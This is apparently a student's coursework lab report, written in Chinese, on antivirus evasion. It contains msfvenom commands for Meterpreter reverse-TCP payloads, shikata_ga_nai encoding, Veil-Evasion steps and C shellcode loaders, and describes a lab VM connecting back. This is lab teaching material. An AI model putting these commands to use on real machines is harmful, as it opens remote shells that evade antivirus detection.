20145206邹京儒_免杀原理与实践
一、实践过程记录
测试网址我用的是这个
msfvenom直接生成meterpreter可执行文件
直接使用命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.44.133 PORT=208 -f exe > test_zjr.exe
生成可执行文件然后提交到检测网站进行检测
大多数杀软都给查出来恶意代码了:
Msfvenom使用编码器生成可执行文件
使用命令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.44.133 LPORT=208 -f exe > 5206-encoded.exe
来生成编码的可执行文件然后上传:
还是没多大效果,试试多编码几次,试试10次,就在指令里面加上-i 10:
依旧提升的幅度很小,所以编码的方法还是不够免杀。
Veil-Evasion生成可执行文件
由于我用的不是老师的Kali,所以需要在线安装,输入命令sudo apt-get install veil-evasion
然后在menu里面输入以下命令来生成可执行文件:
use python/meterpreter/rev_tcp
set LHOST 192.168.44.133
generate
5206-winmine
1
成功之后有如下样子,生成的文件放在图中指示目录:
这回显著提升了免杀率,那么现在可以试试把现在做的几个恶意代码传到主机里面看看。
C语言调用Shellcode
在kali主机下,进入终端,执行指令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.44.133 LPORT=443 -f c
将上述代码从虚拟机里copy出来,进行编译运行生成可执行文件
在kali下进入MSF打开监听进程
在靶机上运行可执行文件,kali成功获取权限:
VirSCAN.org检测结果如下:
使用Msfvenom生成被shikata_ga_nai编译过的shellcode代码,并在靶机上,利用此shellcode进行编程,生成可执行代码
修改了一下代码,具体就不赘述了。
靶机配置:win7,回连成功:
再次进行检测:
这次只有5%的杀毒软件检测出来了,说明对shellcode进行初次的再编译对于免杀来说还是很有必要的
二、.基础问题回答
(1)杀软是如何检测出恶意代码的?
通过一些行为可以检测,比如修改了权限、注册表等等
(2)免杀是做什么?
在木马病毒上做一些修改,使杀毒软件查不出来,从而做到免杀。
(3)免杀的基本方法有哪些?
对代码进行修改,比如逆序,加密等等
三、实践总结与体会
本次实验主要是做免杀,通过本次实验,我也了解到有些杀毒软件并不十分可信,我们要提高警惕,擦亮双眼,制造出一个免杀的病毒是很容易的,甚至我们都可以做出来一个,所以说还是要自己多学习这方面的知识,只有掌握的更多,才能避免危害。
四、离实战还缺些什么技术或步骤?
虽然说本次实验做出的恶意代码大多数杀毒软件查不出来,但是如果这样很多次的话,杀毒软件也会把这种恶意代码添加到病毒库中去,会不断地完善、更新,所以说要实战还是需要我们去不断探索、发现。